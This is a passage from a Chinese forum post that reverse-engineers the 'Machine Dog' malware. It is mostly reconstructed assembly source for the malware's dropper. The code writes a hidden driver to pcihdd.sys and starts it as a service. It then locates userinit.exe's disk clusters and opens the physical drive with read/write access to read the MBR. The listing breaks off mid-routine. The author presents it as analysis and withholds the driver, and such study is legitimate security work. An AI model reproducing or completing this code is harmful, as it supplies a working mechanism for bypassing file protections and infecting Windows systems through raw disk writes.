- 论坛徽章:
- 0
|
标 题: 逆向解毒机器狗
作 者: xcode
网 站:http://edu.teamsourcing.com.cn
这两天得到了一个机器狗的病毒样本,周末闲来无事,便有了此篇文章。
该病毒的壳是一种压缩壳,采用esp定律即可解决。由于不是本文重点,因此在此不作讨论。
该病毒主要包含两部分,一部分是隐藏于exe资源中的驱动文件。另一部分就是exe本身。为了避免不法分子将代码用于他途,在此只公开exe的逆向还原代码。 代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib
.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0
.code
Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0
;**********************************************************************************************
;退出服务,并删除文件
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; " ciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle
OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp
;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten
push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed
mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax
push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed
push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax
failed:
or eax, eax
jnz CONTINUE
jmp Exit
CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit
CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile
push hObject ; hFile
call SetEndOfFile
push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; " ciHdd"
push offset ServiceName ; " ciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; " ciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; " ciHdd"
push offset ServiceName ; " ciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
QUIT:
jmp Exit
OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; " ciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit
StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed
OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit
OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp
aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。
;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。
;下面是一个关于允许和默认簇的大小的列表:
;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB
;卷的大小 默认的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0
LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh WORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject
pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "[url=]\\\\.\\PhysicalHardDisk0[/url]" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax
push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax
push 8
lea eax,InBuffer
push eax
call RtlZeroMemory
push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed
;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero
mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA
mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节
push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "[url=]\\\\.\\PhysicalDrive0[/url]"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax
push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
; |
|